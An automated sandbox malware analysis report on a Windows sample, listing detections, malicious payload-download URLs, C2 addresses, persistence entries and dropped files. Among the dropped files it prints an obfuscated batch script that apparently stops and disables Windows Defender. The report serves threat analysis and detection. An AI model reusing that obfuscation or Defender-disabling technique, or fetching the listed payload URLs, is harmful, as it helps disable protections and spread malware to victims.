26.0.977B.exe.8d0000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.700000.4.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
19.0.jejhieg.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.jejhieg.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
3.0.cnv622JnZv.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.jejhieg.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
26.0.977B.exe.8d0000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
34.0.977B.exe.700000.8.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
17.2.C5EA.exe.2ba15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.0.977B.exe.400000.13.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
24.2.8615.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.cnv622JnZv.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.C5EA.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
26.2.977B.exe.8d0000.0.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
18.0.C5EA.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
34.0.977B.exe.400000.17.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
24.1.8615.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861(	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	16%	Virustotal		Browse
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
http://91.219.236.97/	0%	Avira URL Cloud	safe
http://91.svchost.exe	0%	Avira URL Cloud	safe
https://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://91.219.236.97/.top&)	0%	Avira URL Cloud	safe
http://telegalive.top/O	100%	Avira URL Cloud	malware
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://hajezey1.top/	100%	Avira URL Cloud	malware
http://telegalive.top/	100%	Avira URL Cloud	malware
http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	false	high
toptelete.top	172.67.160.46	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
znpst.top	61.98.7.132	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
hajezey1.top	185.98.87.159	true	false	high
sysaheu90.top	185.98.87.159	true	false	high
telegalive.top	unknown	unknown	false	high
xacokuo8.top	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg	false		high
http://91.219.236.97/	true	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	false		high
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	false		high
http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	A557.exe, A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861(	152F.exe, 00000023.00000003.505435036.0000000002F2C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://91.svchost.exe	152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/8	A557.exe	false		high
https://toptelete.top/agrybirdsgamerept	152F.exe, 00000023.00000003.505195772.0000000002EFB000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
https://telegram.org/img/t_logo.png	152F.exe, 00000023.00000003.505195772.0000000002EFB000.00000004.00000001.sdmp	false		high
http://fontello.com	77DC.exe	false		high
http://91.219.236.97/.top&)	152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://telegalive.top/O	152F.exe, 00000023.00000003.497798547.0000000002EDB000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://www.nirsoft.net/	AdvancedRun.exe, AdvancedRun.exe, 0000001E.00000000.426329937.000000000040C000.00000002.00020000.sdmp	false		high
http://telegalive.top/	152F.exe, 00000023.00000003.497798547.0000000002EDB000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
91.219.236.97	unknown	Hungary	56322	SERVERASTRA-ASHU	true
172.67.160.46	toptelete.top	United States	13335	CLOUDFLARENETUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
162.159.133.233	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511932
Start date:	29.10.2021
Start time:	20:08:25
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	cnv622JnZv.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@41/20@58/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 30.7% (good quality ratio 21.4%) Quality average: 46.5% Quality standard deviation: 38%
HCA Information:	Successful, ratio: 59% Number of executed functions: 90 Number of non-executed functions: 337
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.50.102.62, 173.222.108.226, 173.222.108.210, 40.112.88.60, 80.67.82.235, 80.67.82.211, 20.82.210.154 Excluded domains from analysis (whitelisted): fs.microsoft.com, wu-shim.trafficmanager.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:10:12	Task Scheduler	Run new task: Firefox Default Browser Agent 59A8FD1B8869484D path: C:\Users\user\AppData\Roaming\jejhieg
20:10:53	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\977B.exe
20:10:56	API Interceptor	1x Sleep call for process: explorer.exe modified
20:11:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\977B.exe
20:11:05	API Interceptor	36x Sleep call for process: powershell.exe modified
20:11:06	API Interceptor	8x Sleep call for process: 152F.exe modified
20:11:24	Task Scheduler	Run new task: sqtvvs.exe path: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe
20:11:33	Task Scheduler	Run new task: Firefox Default Browser Agent EE8C025280F83964 path: C:\Users\user\AppData\Roaming\bejhieg
20:11:39	Task Scheduler	Run new task: Firefox Default Browser Agent 48DDC4FB34E7A237 path: C:\Users\user\AppData\Roaming\gujhieg

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\152F.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\152F.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\AppData\Local\Temp\152F.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\AppData\Local\Temp\152F.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoIL4rtEy80:T5LLOpEO5J/Kn7U1uBoI+j
MD5:	3806E8153A55C1A2DA0B09461A9C882A
SHA1:	BD98AB2FB5E18FD94DC24BCE875087B5C3BB2F72
SHA-256:	366E8B53CE8CC27C0980AC532C2E9D372399877931AB0CEA075C62B3CB0F82BE
SHA-512:	31E96CC89795D80390432062466D542DBEA7DF31E3E8676DF370381BEDC720948085AD495A735FBDB75071DE45F3B8E470D809E863664990A79DEE8ADC648F1C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\152F.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\66A4.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\66A4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\977B.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\977B.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.345981753770044
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhav:MLUE4K5E4Ks2wKDE4KhK3VZ9pKhk
MD5:	044A637E42FE9A819D7E43C8504CA769
SHA1:	6FCA27B1A571B73563C8424C84F4F64F3CBCBE2F
SHA-256:	E88E04654826CE00CC7A840745254164DDBD175066D6E4EA6858BF0FE463EBB4
SHA-512:	C9A74FA4154FA5E5951B0EEAC5330CA4BAC981FF9AD24C08575A76AD5D99CFB68556B9857C9C8209A1BFCB43F82E00F14962987A18A92A715F45AD0D4E4A718C
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\8615.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\66A4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\66A4.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\152F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	600064
Entropy (8bit):	7.0823050688713245
Encrypted:	false
SSDEEP:	12288:d4iSiev79SzT1pDrtSmIuz0ct8XZH3h5VZZJD0OSWDkYW8:iD9SzT1pMmF9tKlhh/JD
MD5:	0EFD1C9D005446AEF5FEE4EB512F5887
SHA1:	4C816AABAF80D2ABB5CF3587F1C8ED77AD008569
SHA-256:	7EB03078F08F097B0EEBC611AC1B3F6F443FAC5ABDFB8879175193AEDF24D37B
SHA-512:	F36137716B7F9B3AEAC6645606849CF4BF655561CD9968E45AB798179DD18407C8D51EAF134BEFB0DC10103E7EE24B251F1BDA5737EB776EC352C9D5A375E427
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...]o.`......................p...................@...........................x......T..........................................P....@w..?....................w.8...0...................................@............................................text...P........................... ..`.data....io.........................@....rulofiv.....0w.....................@....rsrc....?...@w..@..................@..@.reloc..."....w..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2E26.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	1945824
Entropy (8bit):	7.918437719630121
Encrypted:	false
SSDEEP:	24576:v6eaePe+SojytbN06B79lysLw8V4lITJraFkmyzH8NTrF6M0hSrkwOLP/qkAAIZS:v6eaG3jW0g9lxE8VuCcRXOLXqkAAD
MD5:	2880915476E56A16314B067128663950
SHA1:	C212EB6B26C5BE7AB70892A135F74598A4818EE6
SHA-256:	C285405EE5667D20622A07D48C1A7AB5BF01F5C70F76ED94B19034DC3E6CB203
SHA-512:	242701E04FD365AA2DC6B761A287936471D64A5259299A6196DE8548232D7033FE3373A294802B049FD942CEAE942C2F9AD2F547822655F7098481788A44D1FD
Malicious:	false
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L.....ea..............................?...........@...........................C.....^.....@...................................?.......?..5............................................................................?.h............................MPRESS1..?......P.......................MPRESS2......?......R...................rsrc....5....?..6...b..............@..............................................................................v2.19...N.. .....i..k..r..a.......j......rt.'...,.?s...b\.@...( 5..O.[.......8P.P...D].K%9.i..XWK.9....0..CH..E,x..h...b.....'>K.M;....V[...3u. .D.6..jR...Gnt.[}i..NV.;...k..o...=...IK.-,M..6.F..v...H.)\.u...LP.9.S....b.r.{.&.M+'...TN&..,`S.....%.%s..@5.L..aL.Li"..JI..P;.jq.........CN..`................$.s..7B...(..{.......?@:..@.t..U..c.z<....6..?.....u...+S64.\..dTs....O.95..[ ......r........)*G(.)6.v.P.........w.&)$P........%%q.....\|.7.....=....!.......l.

C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\977B.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	859648
Entropy (8bit):	2.9241367623104355
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
